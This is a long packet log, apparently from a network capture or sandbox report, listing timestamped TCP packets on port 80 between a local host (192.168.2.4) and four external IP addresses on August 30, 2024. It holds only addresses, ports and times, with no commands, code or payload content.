Aug 30, 2024 03:17:07.084361076 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.084372044 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.084374905 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.084382057 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.084393024 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.084397078 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.084403992 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.084405899 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.084415913 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.084424973 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.084428072 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.084439039 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.084450960 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.084460974 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.084464073 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.084471941 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.084485054 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.084487915 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.084496975 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.084501982 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.084507942 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.084517956 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.084530115 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.084542990 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.084564924 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.091434956 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.091444969 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.091454983 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.091485023 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.091506958 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.091521978 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.091532946 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.091542959 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.091556072 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.091566086 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.091588974 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.091762066 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.091772079 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.091783047 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.091794968 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.091805935 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.091805935 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.091816902 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.091820955 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.091826916 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.091845036 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.091869116 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.099715948 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.099734068 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.099750042 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.099780083 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.099807024 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.099834919 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.099845886 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.099855900 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.099878073 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.099879980 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.099893093 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.099903107 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.099903107 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.099915981 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.099925995 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.099932909 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.099947929 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.099967003 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.099987984 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.099999905 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.100011110 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.100023985 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.100045919 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.100048065 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.100053072 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.100059986 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.100084066 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.100095034 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.128086090 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.128098011 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.128107071 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.128134966 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.128144979 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.128154993 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.128156900 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.128165960 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.128176928 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.128196955 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.128223896 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.128225088 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.128312111 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.128323078 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.128333092 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.128345013 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.128354073 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.128355026 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.128366947 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.128367901 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.128379107 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.128391027 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.128396034 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.128402948 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.128417969 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.128422976 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.128438950 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.128446102 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.128457069 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.128460884 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.128467083 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.128479004 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.128487110 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.128494024 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.128504992 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.128582001 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.128593922 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.128608942 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.128617048 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.128619909 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.128637075 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.128645897 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.128649950 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.128660917 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.128669024 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.128675938 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.128688097 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.128688097 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.128701925 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.128714085 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.128726959 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.128748894 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.128779888 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.128791094 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.128819942 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.128956079 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.128968000 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.128977060 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.128988028 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.128998995 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.129008055 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.129008055 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.129019022 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.129023075 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.129034042 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.129040003 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.129045010 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.129056931 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.129065037 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.129067898 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.129082918 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.129087925 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.129095078 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.129100084 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.129123926 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.129142046 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.129277945 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.129288912 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.129298925 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.129309893 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.129314899 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.129319906 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.129332066 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.129337072 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.129343987 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.129355907 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.129364967 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.129369020 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.129378080 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.129390001 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.129390955 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.129401922 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.129404068 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.129414082 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.129424095 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.129427910 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.129451990 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.129597902 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.129609108 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.129616976 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.129627943 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.129637003 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.129638910 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.129651070 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.129656076 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.129662037 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.129673958 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.129678011 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.129684925 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.129697084 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.129705906 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.129709959 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.129715919 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.129722118 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.129733086 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.129744053 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.129745007 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.129767895 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.129786015 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.129793882 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.129810095 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.129821062 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.129833937 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.129844904 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.129873991 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.129895926 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.129908085 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.129918098 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.129930019 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.129935026 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.129940033 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.129954100 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.129956961 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.129970074 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.129976034 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.129981995 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.129992962 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.130004883 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.130023956 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.136698008 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.136708975 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.136718988 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.136748075 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.136759043 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.136785030 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.136796951 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.136806965 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.136818886 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.136822939 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.136847019 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.136867046 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.136981964 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.136992931 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.137001991 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.137020111 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.137032032 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.137068987 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.137080908 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.137089968 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.137101889 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.137111902 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.137116909 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.137146950 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.137319088 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.137330055 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.137339115 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.137396097 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.137460947 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.137476921 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.137486935 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.137511969 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.137521982 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.137552023 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.137562990 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.137572050 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.137583017 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.137593031 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.137609005 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.137649059 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.137660980 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.137670040 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.137681007 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.137682915 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.137700081 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.137726068 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.138276100 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.138293028 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.138303995 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.138330936 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.138461113 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.138473034 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.138483047 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.138499022 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.138508081 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.138520956 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.138539076 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.138598919 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.138611078 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.138627052 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.138637066 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.138662100 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.138693094 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.138695955 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.138776064 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.138788939 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.138797998 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.138823032 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.138849020 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.139127016 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.139137030 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.139147997 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.139178991 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.139193058 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.139202118 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.139203072 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.139214039 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.139224052 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.139231920 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.139249086 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.139276981 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.139287949 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.139297962 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.139307976 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.139319897 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.139328003 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.139355898 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.139369965 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.139379978 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.139400959 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.139409065 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.139411926 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.139422894 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.139432907 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.139434099 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.139456987 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.139473915 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.139498949 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.139509916 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.139518976 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.139539003 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.139554024 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.139570951 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.139581919 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.139590979 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.139601946 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.139617920 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.139619112 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.139643908 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.139655113 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.139656067 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.139668941 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.139681101 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.139688969 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.139692068 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.139709949 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.139730930 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.139759064 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.139770031 CEST	80	49735	31.41.244.9	192.168.2.4
